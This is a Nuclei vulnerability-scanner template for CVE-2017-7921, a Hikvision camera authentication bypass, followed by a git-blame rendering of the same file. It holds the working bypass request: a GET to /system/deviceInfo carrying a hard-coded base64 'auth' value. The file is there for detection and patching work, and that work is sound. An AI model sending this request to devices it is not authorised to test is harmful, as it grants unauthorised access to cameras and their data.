nuclei-templates/http/cves/2017/CVE-2017-7921.yaml

id: CVE-2017-7921

info:
  name: Hikvision - Authentication Bypass
  author: princechaddha
  severity: critical
  description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
  remediation: |
    Apply the latest firmware update provided by Hikvision to fix the authentication bypass vulnerability.
  reference:
    - http://www.hikvision.com/us/about_10805.html
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7921
    - https://ghostbin.com/paste/q2vq2
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-7921
    cwe-id: CWE-287
    epss-score: 0.01361
    epss-percentile: 0.84786
    cpe: cpe:2.3:o:hikvision:ds-2cd2032-i_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hikvision
    product: ds-2cd2032-i_firmware
  tags: cve,cve2017,auth-bypass,hikvision

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<firmwareVersion>"

      - type: word
        part: header
        words:
          - "application/xml"
# digest: 4b0a004830460221008d3eeb8aecf162c03f076ce8857b003021c70e5e204eeaa55fc52d88fc2ff388022100f23f428620ccd63662e7857e90b32bd6500eb6b706cb7bc63471ec98d3d30012:922c64590222798bb761d5b6d8e72950
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00			`id: CVE-2017-7921`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00			`info:`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`name: Hikvision - Authentication Bypass`
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00			`author: princechaddha`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: critical`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
updated other CVEs 2023-09-06 13:22:34 +00:00			`remediation: \|`
			`Apply the latest firmware update provided by Hikvision to fix the authentication bypass vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Descriptions and references 2021-04-18 13:00:27 +00:00			`- http://www.hikvision.com/us/about_10805.html`
			`- https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2017-7921`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- https://ghostbin.com/paste/q2vq2`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`cvss-score: 10`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2017-7921`
			`cwe-id: CWE-287`
templateman update 2023-10-14 11:27:55 +00:00			`epss-score: 0.01361`
TemplateMan Update [Fri Nov 3 15:51:18 UTC 2023] :robot: 2023-11-03 15:51:18 +00:00			`epss-percentile: 0.84786`
updated other CVEs 2023-09-06 13:22:34 +00:00			`cpe: cpe:2.3:o:hikvision:ds-2cd2032-i_firmware:-:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: hikvision`
			`product: ds-2cd2032-i_firmware`
			`tags: cve,cve2017,auth-bypass,hikvision`
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00			`words:`
			`- "<firmwareVersion>"`

			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: header`
Create CVE-2017-7921.yaml 2021-04-07 17:00:37 +00:00			`words:`
			`- "application/xml"`
Auto Template Signing [Fri Nov 3 17:10:29 UTC 2023] :robot: 2023-11-03 17:10:29 +00:00			`# digest: 4b0a004830460221008d3eeb8aecf162c03f076ce8857b003021c70e5e204eeaa55fc52d88fc2ff388022100f23f428620ccd63662e7857e90b32bd6500eb6b706cb7bc63471ec98d3d30012:922c64590222798bb761d5b6d8e72950`